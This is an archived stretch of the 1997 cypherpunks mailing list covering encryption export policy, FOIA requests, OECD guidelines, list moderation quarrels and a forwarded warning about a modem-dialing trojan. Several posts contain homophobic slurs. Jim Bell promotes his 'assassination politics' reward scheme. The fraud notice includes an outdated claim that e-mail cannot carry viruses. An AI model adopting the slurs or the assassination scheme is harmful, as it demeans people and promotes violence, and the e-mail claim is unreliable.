Nando Times on 13 August 1996 >> "I'm incredibly concerned," said John Henry Hingson, a past president of the >> National Association of Criminal Defense Lawyers, meeting here this past >> week. "The entire nation could become a victim of illegal searches and >> seizures and the law is powerless to protect them from these police abuses." >> But in these nervous times following the the crash of TWA Fight 800 and >> bombings at the Olympics, Oklahoma City and the World Trade Center, many >> Americans are now willing to trade some of their privacy and civil liberties >> for greater security. >> A poll last week by the Los Angeles Times found that a majority of people -- >> 58 percent -- said they would curtail some civil liberties if it would help >> thwart terrorism. Thirteen percent said it would depend on what rights were >> at stake. The poll didn't ask people to single out any rights. > >The L.A. Times quotes this "poll" all the time, and in fact probably >just made it up. Why do I know that? Because they ran a "letter" >from a "teacher" in the valley somewhere about a year ago which said >exactly this same thing. The "teacher" ran a poll of her students >and they agreed to give up the rights without even knowing which >rights they were giving up. Wouldn't it be nice if, in a new poll, they asked the following question: "Do you believe that the people who ask you, in other polls, whether or not 'you'd be willing to give up a little freedom to thwart terrorism' have any proof it's possible to, in the long run, 'thwart terrorism' by sacrificing freedom?" Jim Bell jimbell at pacifier.com From aga at dhp.com Wed Feb 5 07:26:10 1997 From: aga at dhp.com (aga) Date: Wed, 5 Feb 1997 07:26:10 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702051526.HAA28769@toad.com> On Tue, 4 Feb 1997, Dave Hayes wrote: > Steve Boursey writes: > > Well EFF itself is a lie--the were very well exposed by Wired Mag. a > > while back as being nothing more than a corporate whore. They represent > > the interests of owners not consumers--the ACLU has been very open > > in their critisism of the EFF in this regard. A large corporation > > waves some money in front of their noses and tells them to bend > > over you can be sure they'll bend over. > Actually, the EFF is meaningless, and not worth discussing. It was just a bunch of hippy faggots that got financed by the greatfull dead, and since the greatfull dead died, the EFF should just also die. I mean come ON, with queers at the organization, NOBODY is going to give it any credibility. > It's not clear from where I sit that the EFF is intrinsically evil. A But it has John Gilmore there, and he is the evil censor. > case can be argued for their initial good intentions followed by the > subsequent poisoning of this intent by people with lots of money. Of > course, -any- organization is as susceptable to infiltration as their > weakest member. > > > Respectable free speech advocates do not associate with EFF. > > If one is going to advocate free speech, I strongly suggest one > learns to deal with one's own greed and one's own need for power > first. Greed and avarice may be bad, but wealth and control are good. The power must always go to those who do not "need" it but who know how to use it. Not everybody is qualified to carry a gun. From jimbell at pacifier.com Wed Feb 5 07:26:12 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 5 Feb 1997 07:26:12 -0800 (PST) Subject: John's: In anarchy -everyone responsible Message-ID: <199702051526.HAA28775@toad.com> At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote: >on or about 970204:0312 Greg Broiles said: >+ Is the desire for an anarchic community at odds with a desire for >+ good use of resources? Actually, it is quite possible that an "anarchic community" is _more_ efficient in the use of resources than some sort of organized community. It is explained, for example, that the reason there are so many different kinds of life on earth is that there are so many ecological niches to fill. > In a "popular" anarchy, Jim Bell's assassination politics make > perfectly good sense; but, a "popular" anarchy is not an _anarchy_. I guess I don't understand the distinction you are trying to make, between a "popular anarchy" and an "anarchy." Maybe you were trying to distinguish between "dictatorship of the few (or one)" and "dictatorship of the many (perhaps a majority)" but it didn't come out very understandably. Put simply, "anarchy is not the lack of order. It is the lack of _orders_." > anarchy is only possible in an ideal world where _everyone_ > assumes not only responsibility for themselves, but for the common > good. no malice, no greed, no need for assassination politics.... No, that's traditional thinking and that's wrong. See AP part 8. Freud believed (as "everyone" else believed, even myself, before AP) that anarchy was inherently unstable. But it ISN'T, if the tools of AP are used to stabilize it. And no, no altruism is necessary for AP to work as well; no individuals are being asked to sacrifice themselves for the common good. Rather, they are given the opportunity to work to achieve a reward offered, cumulatively, by a number of citizens. Jim Bell jimbell at pacifier.com From gbroiles at netbox.com Wed Feb 5 07:26:14 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Wed, 5 Feb 1997 07:26:14 -0800 (PST) Subject: Cypherpunks FOIA request Message-ID: <199702051526.HAA28782@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On 1/18/97, I sent freedom of information act requests to the FBI (main and San Francisco offices), CIA, NSA, and Secret Service, asking them for copies of information in their files relating to or referring to the cypherpunks list, the cypherpunks meetings, and copies of any messages sent from or to "cypherpunks at toad.com". To date, I have received three responses: one from the SF office of the FBI, indicating that they have no records responsive to my request; one from the NSA, indicating that they are processing my request, and one from the Secret Service, asking for a copy of my signature. (I've got no clue why they want that; unless I screwed up, I believe my initial request was signed.) Copies of my requests and the responses are available online at . I'm not sure what I think about the response from the SF FBI branch - it seems unlikely that they'd never have paid any attention to the list, given the media coverage in Wired and other places. On the other hand, maybe the FBI doesn't read Wired. :) While they're not supposed to be monitoring noncriminal domestic activity, I figured they'd at least have something about the Mykotronix stuff. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvhHPf37pMWUJFlhAQGBSAf/XIdNAMrxn3flb6O7Q1TZYL1xd/RHAAZv YsuuXs/n6Dih/SnJVqc35tF5/33N0gK0xWhyPCBWdIitVCgHpt+214WEOg3IWBqO KGcnbXg/YMs4xN50zLgpV+Xoim4rjfwCROqNNWvrBqwo6RicAyJbLRoRGE+KdDkx WSslCzxsVYzRHzzkF48rhbYAXqU2vUesG0t8Alg17R/2w4TvjAzlQ3PpclUukB8U VglMVB+dicn+5B2zITt1WG21xMmSHQea5rpwKpDxZdjBvBKXLhgH8L1Hdl6nu3zI sqDEENxeV+bI5UdSzemQDy+TDQoy7BSN7Tby8JgwXE9x3AitY2A05g== =S1Zy -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From stewarts at ix.netcom.com Wed Feb 5 07:26:21 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 5 Feb 1997 07:26:21 -0800 (PST) Subject: More on Cellular Encryption Docs Message-ID: <199702051526.HAA28802@toad.com> >>>Here's more on the controlled documents for cellular encryption >>>from TIA/EIA we described in a 26 January post to cpunks: ... >>Of course, ITAR as recently modified says it's ok to send this >>stuff overseas to foreigners, as long as it's on paper. >>There may be separate restrictions on sending it, or on copying, >>but they're based on copyright or contractual non-disclosure. > >Given that high-density inkjet printers can do 600x600 dpi resolution, it >should be possible to achieve the equivalent of 100x100 bpi of >easily-recoverable data on ordinary paper. That's about 800 kilobits, or >100 kilobytes. What does ITAR say about this? These are text, perhaps with occasional illustrations, so the current interim export rules say it's ok. For optically-scannable printed data, the government's announcement says it reserves (somehow) its right (acquired in unspecified manner :-) to re-evaluate the exportability at a later time. I think they haven't settled on whether they'd be more embarassed by banning it (which bans export of printed material, risking serious Constitutional challenges) or by not banning it (having people laugh at them while exporting source code or even binaries in OCR-A on loose-leaf paper with page numbers and checksums.) Of course, by moving crypto off the Munitions List, and allowing export of printed material, they're also reducing their exposure to ridicule for not responding to Raph's T-shirt CJ request.... (huh-huh... made you say Unconstitutional ... huh-huh....) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From jya at pipeline.com Wed Feb 5 07:26:27 1997 From: jya at pipeline.com (John Young) Date: Wed, 5 Feb 1997 07:26:27 -0800 (PST) Subject: 'Total Recall' Come True! Message-ID: <199702051526.HAA28803@toad.com> Major Organizations Are Experimenting With Computer Chip Implants in Humans, According to EE Times Special Report Manhasset, N.Y., Feb. 4 -- The implantation of computer chips into humans and animals is now actively being funded, researched and experimented by major institutions such as Stanford University, British Telecom, the National Institute of Health (NIH) and major corporations, according to the first of a two-part special report published by EE Times (http://www.eet.com). Although the work is drawing fire from civil libertarians and conspiracy theorists, among others, many scientists and physicians defend the work for its potential to ease suffering. "It's 'Total Recall' come true! Our in-depth look into this state-of- the- art research reveals that the mix of electrical engineering and medical technologies to surgically implant computer chip-driven devices is here today -- a micro chip implant is simply one step beyond a pacemaker," said EE Times Internet Editor Larry Lange. According to the EE Times report, Mitsubishi Electric Corp. (Tokyo) recently developed a low-cost input device that can recognize human movement and convert it to commands for use in software applications. This device is expected to find its way into tools used by people with disabilities. On other fronts, the semiconductor research lab at Motorola Inc. is working on body-embedded electronic blood-sensors that may one day allow diabetics to measure their blood sugar levels without ever drawing a drop of blood. The special report, appearing in next week issue in print and online, looks at additional areas of research and the differing reactions to it. ----- From jya at pipeline.com Wed Feb 5 07:26:31 1997 From: jya at pipeline.com (John Young) Date: Wed, 5 Feb 1997 07:26:31 -0800 (PST) Subject: OECD Waffles Message-ID: <199702051526.HAA28804@toad.com> 2-4-97. Reuters: Global group fails to endorse Clinton encryption plan Washington: An influential economic research group is preparing guidelines on computer encryption for its member countries but will duck some of the most contentious issues involved, according to a draft obtained by Reuters. The Clinton administration, seeking to rally support for its controversial policy on exporting encryption products -- which encode and decode e-mail and other computerized messages -- failed to win an endorsement from the Organisation for Economic Cooperation and Development (OECD), although the group did discuss the administration's approach. On perhaps the most difficult issue, the draft guidelines do not favour or oppose a requirement in the U.S. policy that data-scrambling encryption programmes provide a way for law enforcement officials to obtain keys to crack the codes when necessary. After indicating that governments should carefully weigh the costs and benefits of imposing so-called key recovery, the draft report said, "this principle should not be interpreted as implying that governments should, or should not, initiate legislation that would allow lawful access." On all the controversial areas in the draft, "the member countries of the OECD have strongly held views but they don't always coincide," John Dryden, head of the group's Information, Computer and Communications Policy division, said in a telephone interview from Paris. Some countries see widespread use of encryption as a way to protect the privacy of computer users and businesses, thereby encouraging global commerce, Dryden said. But others see encryption as possibly thwarting law enforcement's efforts to catch riminals and global terrorists, he said. The guidelines suggest encryption users should have access to products that meet their needs. Government controls should be "no more than are essential to the discharge of government responsibilities." Instead of reconciling the different views, the draft guidelines lay out competing interests and approaches. "It's not in itself a cryptography policy and it's not an attempt to draft a model national law that we're encouraging people to adopt," Dryden said. Cryptography refers to products and systems used in encryption. The guidelines also suggest encryption standards and usage should be "determined by the market in an open and competitive environment." "There's a strong view that the private sector should have the possibility to use information networks to the best of their potential in order to create growth and jobs," Dryden said. U.S. officials who have seen the preliminary draft praised the guidelines. "They're an important and helpful step forward," Undersecretary of Commerce William Reinsch said. "They're helpful because they put down on paper the proper foundation for getting into this," he added. Reinsch said most countries will follow the U.S. lead and require so-called key recovery features for law enforcement. Under the Clinton policy, domestic use of encryption is not regulated but the strongest coding products cannot be exported unless they include key recovery. U.S. companies that have opposed the Clinton policy, contending it stifles their ability to compete with unfettered foreign firms, drew little solace from the draft guidelines. "This is not helpful," said Netscape Communications Corp.'s public policy counsel, Peter Harter. Netscape and other companies preferred stronger language endorsing free-market policies, he said. The draft guidelines, approved by a group of government and private-sector experts at a meeting at the end of January, still must be approved by a top-level OECD officials from the group's 29 member countries, including the United States. ----- From stewarts at ix.netcom.com Wed Feb 5 07:27:52 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 5 Feb 1997 07:27:52 -0800 (PST) Subject: Silly Americans Message-ID: <199702051527.HAA28821@toad.com> At 09:37 PM 2/4/97 -0500, Rick Osborne wrote: >The original poster was talking about the UniSys GIF >patent, and this was the reply: > >>Broaden your view. I can do anything I want with the GIF format >>without asking _anyone_, and so can almost everyone in the world - >> except those poor americans who chose to live under a "broken" >>patent law which allows protecting _algorithms_. Totally silly. Not true, of course - other countries also have broken patent laws that permit patenting algorithms. For instance, IDEA is patented in places besides the US. The differences in the US are that perhaps our patent people became stupid earlier, and that US patent law allows you to apply for a patent up to one year after publishing, while European patent laws don't let you patent anything that's been disclosed to the public. >a philosophical note, why *do* we allow the government to regulate >algorithms? (Implementations, I can understand, but *algorithms*?) Because they're bigger than we are and better-armed? Because there's lots of money to be made by people patenting things? Because big companies can use it to interfere with competition? Because it's good for the economy because it encourages inventors of algorithms to publish them and make money by doing so? (I'll take the first three of those arguments :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From WlkngOwl at unix.asb.com Wed Feb 5 07:28:07 1997 From: WlkngOwl at unix.asb.com (Robert Rothenburg 'Walking-Owl') Date: Wed, 5 Feb 1997 07:28:07 -0800 (PST) Subject: Letter Re: Kahn Supporting GAK Message-ID: <199702051528.HAA28822@toad.com> -----BEGIN PGP SIGNED MESSAGE----- My letter to Long Island Newsday regarding David Kahn's pro-GAK editorial was published today. You can read it at http://www.newsday.com/mainnews/rnmi052u.htm What's odd (?) is how they editied it. I directed my comments toward Mr. Kahn's views, which they changed to "Newsday" (odd, since I've never seen them print an editorial one way or another on GAK; does this mean they are taking a stand? -- Kahn is an editor at Newsday). I wrote "The greatest flaw in the argument is it's very reason, 'criminals... are increasingly using encryption to conceal their plans and activities'" which they changed to "It reports...". I never considered an op-ed piece as "reporting", even if it states a fact. The following paragraph There are also a variety of technical problems associated with escrowing encryption keys, mainly, how to do so securely? A single `backdoor key' (or set of keys) for a popular product can become an easy target for crackers who can jeopardize the security of an entire system. Software can be easily hacked to disable or damage the key escrow features, and there are techniques to hide even the presence of a message in something innocuous as a digitized image. (Mr. Kahn seems to have forgotten to mention that the FBI not only wants to overhear cellular phone conversations but also read E-mail and any other encrypted files people have.) was changed to just There are also several technical problems associated with escrowing encryption keys, mainly, how to do so securely. They did leave the last two paragraphs relatively intact, though. Yeah, yeah... the piece could have been much longer & detailed, but it's only a letter to the editor... - --Rob -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvhdzgTNlSxdPy6ZAQEw8Qf9FnDSSd/m+XwUxU1CCJnwVOrvS4qyIubX 2E18o2rrS+F8TDjkhVsaDR3lJNqikdOzAL2GfjX53/cBEOhYcYcip7IHkd8UxqY6 zDHp2LwWnSuF8wwxeKw/DyPhAURsxYAl+LCJbsJjK+zxpgPU1Z0YzFkj3Am6bscv t8qiPoTxUF3tusueT5I3xQsRgEAx1SNwRHgQGzLS+zPwdFBT9ZsIsp4EbZ0fx1cE ZpbIxu1koDCWhkmJdTiL5HXXJ6mROJvCIGHfr1NU099AlIOO/FXq2UTnti2TzQn7 wYF73490ru1AFMEViLipj3zXzJsIGBo32La37yDozBEItd32B0L/+w== =3wRg -----END PGP SIGNATURE----- ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl at unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key. From rah at shipwright.com Wed Feb 5 07:28:09 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 5 Feb 1997 07:28:09 -0800 (PST) Subject: NFIC Warning About Sexygirls web site Message-ID: <199702051528.HAA28823@toad.com> I had to laugh when I read this... Cheers, Bob Hettinga --- begin forwarded text X-Sender: themet at pop.mindspring.com Mime-Version: 1.0 Date: Wed, 5 Feb 1997 01:50:36 -0800 To: fraudnews at silverquick.com From: Mark Taylor Subject: NFIC Warning About Sexygirls web site Reply to: Mark Taylor Here is an interesting twist on how some crafty scamsters can rack up money on your phone bill =========== National Fraud Information Center Monday, February 4, 1997 PORNO SURPRISE Consumers who visited a pornographic website (www.sexygirls.com) last month got a big surprise on their phone bills. After a few teaser pictures, surfer was told he/she needed to download a special program to view the archived images. That program was actually a viewer with an entire communications suite hidden deep inside (a non-self propogating Trojan Horse). The program disconnected user from his/her ISPs, shut off the volume on the modem if it was computer controlled, and dialed a number in Moldova -- a small, former republic of the Soviet Union wedged in between the Ukraine and Romania. All the while the consumer was on the website, and even if he/she then browsed other sites on the World Wide Web, the Internet access was being provided through the Moldova number, resulting in huge international phone charges! Consumers didn't know that until their phone bills arrived. According to the Toronto Star Business Reporter, there are Canadian reports of bills into the thousands. The Toronto star also reports that the Royal Canadian Mounted Police has requested all calls from Canada to that number in Moldova be blocked. Bell Canada is attempting to provide relief for Canadian consumers. US consumers should contact their long distance providers if they find these unexpected charges on their bill. The RCMP has also required the owners of sexygirls.com to place a disclaimer on the site, alerting consumers to the presence of the communications software in the viewer. The disclaimer also tells consumers how to disconnect if they do not wish to use the server in Moldava. In November, Internet Fraud Watch warned consumers concerning the possible dangers of downloading programs over the Internet. Some tips: Don't download unnecessary items. If it's just a piece of razzle-dazzle, don't bother. It will only take up space on your hard drive and perform no useful function. If there's no gain for you from the program, there's no reason to take a risk. Only download from sites you know and trust. While even a major corporations site can sometimes have a viral infection, a lone programmer might be using an attractive piece of code as a delivery vehicle for his pet virus. Don't download material directly onto a computer network at work. First download it onto a stand alone PC. Test it out. Make sure it doesn't have any malicious side-effects. Check that machine for known viruses. Only at that point should you install the downloaded program on a networked machine. If you feel you must download files, keep track of what files you have on your system and what files are created during a program installation. That way you can easily uninstall any program if you find it to be undesirable. This also helps in detecting new installed files that aren't supposed to be there. Remember, your main worry is an executable file (i.e. a program or application). Despite what you hear all over the Internet, you cannot get a virus from a piece of e-mail. If you are having a problem with calls to Moldova, the connection will only be made if you attempt to use the viewer. If you try to use the viewer, shut down your machine after you are finished at that site. If you wish to remove the viewer altogether, the file name is david.exe (for IBM users). If you are in Windows, it should be in your program folder. FraudNews is owned and published by : Mark Taylor: themet at mindspring.com All material published is copyright.It must not be reproduced in any form without the express permission of of the owner. ============================================================= This Newsletter is broadcast using the List and Newsletter Management facilities of Silverquick Communications You may subscribe to FraudNews and the Fraud-Discuss lists on the web pages at : http://www.silverquick.com ============================================================= --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From doelke at rockdal.aud.alcatel.com Wed Feb 5 07:35:59 1997 From: doelke at rockdal.aud.alcatel.com (Daniel R. Oelke) Date: Wed, 5 Feb 1997 07:35:59 -0800 (PST) Subject: BA Crypto Machine Photos Message-ID: <199702051456.IAA15006@spirit.aud.alcatel.com> > > >BTW, does anyone know the meaning of 'order wire mode' in the context of a > >crypto broadcast? This mode is found in the KWR-37 online crypto > >receiver. Please send all photo requests or responses via private E-mail. > > If it means the same thing as in the telecom industry, its an out-of-band > (often analof) channel between two locations connected by wide-band (e.g., > T1) facilities. Its primary purpose is to provide service personnel, at > each end point, the ability to converse with one another while performing > work on that link. > I would also guess it might be something similar to the orderwire in the telecom industry. I am more familiar with digital orderwire systems, but orderwires are generally all similar. You have a communications link, and some overhead on that link is dedicated to providing a voice channel for communications between sites so that people working on the line can communicate with each other. In a crypto system - I could see that the orderwire might be a in-the-clear transmission as part of the overhead so that people at each end of a hop can figure out why the data (i.e. encrypted) portion isn't getting through. Dan ------------------------------------------------------------------ Dan Oelke Alcatel Network Systems droelke at aud.alcatel.com Richardson, TX From p.j.wester at ngi.nl Wed Feb 5 07:50:49 1997 From: p.j.wester at ngi.nl (P.J. Westerhof) Date: Wed, 5 Feb 1997 07:50:49 -0800 (PST) Subject: Getting into MIT is impossible Message-ID: <3.0.16.19970205155649.2e7fcfe2@popmail.rijnhaave.nl> At 18:12 4-02-97 -0800, you wrote: >Erland van Lidth de Jeude is a MIT grad. He played the big badass in "Stir >Crazy." Computer science major, BTW. > He is quite a singer too (at least he was some years ago on Dutch TV). Perhaps that made the difference. ;-) Gr. Peter _________________________________________________________ P.J. Westerhof LL.D e-mail P.J.WESTER at NGI.NL | Computerlaw voice +31-347-375400 | Legal informatics fax/data +31-347-375400 | IT - consultancy Web: www.ngi.nl/cr/ | Soaring _________________________________________________________ From dthorn at gte.net Wed Feb 5 07:55:46 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 5 Feb 1997 07:55:46 -0800 (PST) Subject: AltaVista Tunnel Message-ID: <199702051555.HAA29347@toad.com> Anil Das wrote: > Rick Osborne wrote: > > He triumphantly exclaimed that the encryption was 128-bit, but when > > I said "128-bit what?" he cowered and muttered that he didn't know and went > > on with his little speech. The rest of my crypto-specific questions met > > with equal dark stares. And these are the people setting industry standards... > I should be happy that you are bashing a competitor and all, but give > them a break, OK? The marketing dweeb who has to do product pitches > on roadshows is not the same as the design engineer who designs the > system and sets technical standards. There can be a big difference in > technical knowledge about the product, and even basic competency, > between the two. HP in their first 17 years of making personal computers always sent real engineers along with salespeople to their product rollouts. Starting in late 1983 with their first MS-DOS computer, they did a 180-degree and eliminated the engineers, and started sending people who knew nothing about HP products, which is bad in the sense that some folks wanted to know "Why should I buy HP when I can get the real thing, i.e. IBM"? As a sales manager, I always had a hard time with that one. I blame HP in retrospect, for a moron mentality in their marketing department. From doelke at rockdal.aud.alcatel.com Wed Feb 5 07:55:53 1997 From: doelke at rockdal.aud.alcatel.com (Daniel R. Oelke) Date: Wed, 5 Feb 1997 07:55:53 -0800 (PST) Subject: BA Crypto Machine Photos Message-ID: <199702051555.HAA29358@toad.com> > > >BTW, does anyone know the meaning of 'order wire mode' in the context of a > >crypto broadcast? This mode is found in the KWR-37 online crypto > >receiver. Please send all photo requests or responses via private E-mail. > > If it means the same thing as in the telecom industry, its an out-of-band > (often analof) channel between two locations connected by wide-band (e.g., > T1) facilities. Its primary purpose is to provide service personnel, at > each end point, the ability to converse with one another while performing > work on that link. > I would also guess it might be something similar to the orderwire in the telecom industry. I am more familiar with digital orderwire systems, but orderwires are generally all similar. You have a communications link, and some overhead on that link is dedicated to providing a voice channel for communications between sites so that people working on the line can communicate with each other. In a crypto system - I could see that the orderwire might be a in-the-clear transmission as part of the overhead so that people at each end of a hop can figure out why the data (i.e. encrypted) portion isn't getting through. Dan ------------------------------------------------------------------ Dan Oelke Alcatel Network Systems droelke at aud.alcatel.com Richardson, TX From jlv at sig.bsh.com Wed Feb 5 07:55:58 1997 From: jlv at sig.bsh.com (Jason Vagner) Date: Wed, 5 Feb 1997 07:55:58 -0800 (PST) Subject: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?! Message-ID: <199702051555.HAA29366@toad.com> >Re: the below. Easily the best and most intelligent suggestion so >far. Why couldn't Sandy and John with all their experience think >of this? Actually, I've been sitting on the sidelines, somewhat bemused, that this far into online living the cypherpunks have to rehash this themselves. I've seen this entire exchange at least three times in the last two years. None of the lists survived. Good luck.. >> If I might make a suggestion: >> Some people want moderation. That's fine, I've never been very big on >> letting other people choose what I read, but some people want it. >> For those who want it, let someone moderate the list for as long as >> they care to do it. Approved messages get a "X-sandy-approved" >> header. The responsibility for setting up a filter to toss everything >> that doesn't have the header is the responsibility of the end user. >> Toad will need to filter incoming posts to make sure they don't come >> "pre-approved", but that's the only hole I can think of. >> Everyone gets all of the Cypherpunks list. Those who want moderation >> filter the unapproved posts, those who want all of it get all of it. >> Hopefully, this will make (almost) everyone happy. --- Jason Vagner Resist KRAP and GAK. Police States Are Bad. "All that one can give is what is going to happen, which may have little to do with a present that you can grasp." - Avital Ronell. From rah at shipwright.com Wed Feb 5 08:05:06 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 5 Feb 1997 08:05:06 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702051526.HAA28754@toad.com> Message-ID: At 8:20 am -0500 2/5/97, Matts Kallioniemi wrote: >Another way to get rid of the totally clueless and involuntary subscribers >would be to require subscription requests to be PGP signed and acknowledged >by the subscriber. Now, this sounds familiar... Everyone remember Eric's attempt to force signed messages? Herding cats, indeed. Cheers, Bob ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From p.j.wester at NGI.NL Wed Feb 5 08:11:15 1997 From: p.j.wester at NGI.NL (P.J. Westerhof) Date: Wed, 5 Feb 1997 08:11:15 -0800 (PST) Subject: Getting into MIT is impossible Message-ID: <199702051611.IAA29635@toad.com> At 18:12 4-02-97 -0800, you wrote: >Erland van Lidth de Jeude is a MIT grad. He played the big badass in "Stir >Crazy." Computer science major, BTW. > He is quite a singer too (at least he was some years ago on Dutch TV). Perhaps that made the difference. ;-) Gr. Peter _________________________________________________________ P.J. Westerhof LL.D e-mail P.J.WESTER at NGI.NL | Computerlaw voice +31-347-375400 | Legal informatics fax/data +31-347-375400 | IT - consultancy Web: www.ngi.nl/cr/ | Soaring _________________________________________________________ From attila at primenet.com Wed Feb 5 08:12:00 1997 From: attila at primenet.com (Attila T. Hun) Date: Wed, 5 Feb 1997 08:12:00 -0800 (PST) Subject: John's: In anarchy -everyone responsible In-Reply-To: <199702050744.XAA24946@mail.pacifier.com> Message-ID: <199702051611.JAA25482@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970204:2343 jim bell said: +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote: +> In a "popular" anarchy, Jim Bell's assassination politics make +> perfectly good sense; but, a "popular" anarchy is not an _anarchy_. +I guess I don't understand the distinction you are trying to make, +between a "popular anarchy" and an "anarchy." Maybe you were trying +to distinguish between "dictatorship of the few (or one)" and +"dictatorship of the many (perhaps a majority)" but it didn't come out +very understandably. +Put simply, "anarchy is not the lack of order. It is the lack of +_orders_." disagree. pure anarchy is not the lack of "orders" --pure anarchy implies that everyone is imbued with that perfect sense of responsibility. +> anarchy is only possible in an ideal world where _everyone_ +> assumes not only responsibility for themselves, but for the common +> good. no malice, no greed, no need for assassination politics.... +No, that's traditional thinking and that's wrong. See AP part 8. +Freud believed (as "everyone" else believed, even myself, before AP) +that anarchy was inherently unstable. But it ISN'T, if the tools of +AP are used to stabilize it. And no, no altruism is necessary for AP +to work as well; no individuals are being asked to sacrifice +themselves for the common good. Rather, they are given the +opportunity to work to achieve a reward offered, cumulatively, by a +number of citizens. aah, but that is the difference between a _pure_ anarchy and a _popular_ anarchy. A pure _anarchy_ is sufficiently idealistic in that _noone_ lacks the necessary resonsibility to keep society moving, each individual in their own niche. As long as there is perfect responsibility in a perfect anarchy, then there is no need for AP. AP is a negative, or _punative_, influence; I might liken it to the Catholic Church which is a religion of fear, and an instrument of political control. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvixAL04kQrCC2kFAQECsQQAlPSQRpEE2dAKkqrWSlPf79QhSBtYbjXa rEyAlOrmi8NOxgyb8hGF/VwVkURUKnPr4gGJW9JvwuPB2x/AQeT11ZEQyVqeFGNF 0W6WR7yv3XsOT9UM6JCP9hFLWU33BumcPd26w8f/Z5mx87qEUoXeJD4ApLv5QNI3 WlyL0xDT1PM= =sfD3 -----END PGP SIGNATURE----- From nobody at huge.cajones.com Wed Feb 5 08:16:14 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Wed, 5 Feb 1997 08:16:14 -0800 (PST) Subject: No Subject Message-ID: <199702051616.IAA13843@mailmasher.com> IDEA vs DES vs Blowfish vs RSAREF Which of these symmetric algorithms are the hardest to break and what are their characteristics. //Anon From dlv at bwalk.dm.com Wed Feb 5 08:22:52 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 08:22:52 -0800 (PST) Subject: "alt.cypherpunks" people? In-Reply-To: <199702050725.XAA18012@toad.com> Message-ID: <0esN2D6w165w@bwalk.dm.com> Anil Das writes: > Adam Back wrote: > > > > What do people think of starting an alt.cypherpunks USENET newsgroup? > > > > I have only one objection. I will never post to an Usenet group > under my real email address for fear of ending up in spammer > databases. > > -- > Anil Das > Learn to use an anonymous remailer. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From pdh at best.com Wed Feb 5 08:24:59 1997 From: pdh at best.com (Peter Hendrickson) Date: Wed, 5 Feb 1997 08:24:59 -0800 (PST) Subject: Cypherpunks FOIA request Message-ID: At 12:40 AM 2/5/1997, Greg Broiles wrote: > On 1/18/97, I sent freedom of information act requests to the FBI (main and > San Francisco offices), CIA, NSA, and Secret Service, asking them for copies > of information in their files relating to or referring to the cypherpunks > list, the cypherpunks meetings, and copies of any messages sent from or to > "cypherpunks at toad.com". > To date, I have received three responses: one from the SF office of the FBI, > indicating that they have no records responsive to my request; one from the > NSA, indicating that they are processing my request, and one from the Secret > Service, asking for a copy of my signature. (I've got no clue why they want > that; unless I screwed up, I believe my initial request was signed.) Have these organizations been known to lie? What penalties does the organization or its employees face when they do so? Have these penalties ever been applied? Also, which exceptions in the FOIA law would allow them to respond dishonestly? Inquiring minds want to know! Peter Hendrickson pdh at best.com From dlv at bwalk.dm.com Wed Feb 5 08:28:05 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 08:28:05 -0800 (PST) Subject: A Vote of Silence for Human Gus-Peter In-Reply-To: <199702050740.XAA18537@toad.com> Message-ID: <73RN2D5w165w@bwalk.dm.com> Larry Johnson writes: > I want to be the new modernator so anyone who wants me to be it can > not send any messages, ok? > So any people who dont send messages are voting for me, ok? > > (If I am modernator I will give everyone free pizza and Schotch.) > > Ok. Now evceryone vote, ok? > > Human Gus-Peter > > I volunteer to moderate cypherpunks at toad.com. I'll use a 'bot (like Sandy uses a 'bot) to junk submissions from Gilmore, Sandfart, and other known homosexuals, and pass on everything else. It'll probably have better S/N that Sandy's censored list does now. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Wed Feb 5 08:28:25 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 5 Feb 1997 08:28:25 -0800 (PST) Subject: Moderation [Tim,Sandy] In-Reply-To: 